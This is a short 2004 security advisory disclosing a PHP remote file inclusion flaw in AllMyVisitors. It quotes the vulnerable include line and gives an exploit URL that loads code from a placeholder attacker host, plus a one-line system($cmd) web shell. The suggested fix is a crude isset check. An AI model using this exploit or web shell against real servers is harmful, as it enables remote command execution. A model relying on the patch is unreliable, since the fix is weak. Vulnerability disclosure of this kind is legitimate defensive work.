******** AllMyVisitors PHP Code Injection vulnerability ********

Product : AllMyVisitors

Vendor : www.php-resource.net

Date : February 14, 2004

Problem : PHP Code Injection

Vendor Contacted ? : No

************************** Source ****************************

in /include/info.inc.php

--------------------------------------------------------------

$AMV_info_get = require_once("$_AMVconfig[cfg_serverpath]"."/include/template.inc.php");

--------------------------------------------------------------

************************** Exploit ***************************

http://[target]/allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpat
h]=http://[attacker]/&cmd=uname%20-a

in http://[attacker]/include/template.inc.php have :

------------------------

<?

system($cmd);

?>

------------------------

************************** Impact ****************************

Malicious user execute arbitrary commands on the server .

************************* Solution ***************************

in /include/info.inc.php replace

$AMV_info_get = require_once("$_AMVconfig[cfg_serverpath]"."/include/template.inc.php");

for

if (isset($_AMVconfig[cfg_serverpath])){

die("Don\'t Hack it :)");

}

$AMV_info_get = require_once("$_AMVconfig[cfg_serverpath]"."/include/template.inc.php");

************************** Credits ****************************

bnfx : bnfx (at) antisocial (dot) com [email concealed]

Mad_Skater : m4dsk4t3r (at) hotmail (dot) com [email concealed]

TechTeam Brazilian Crew .

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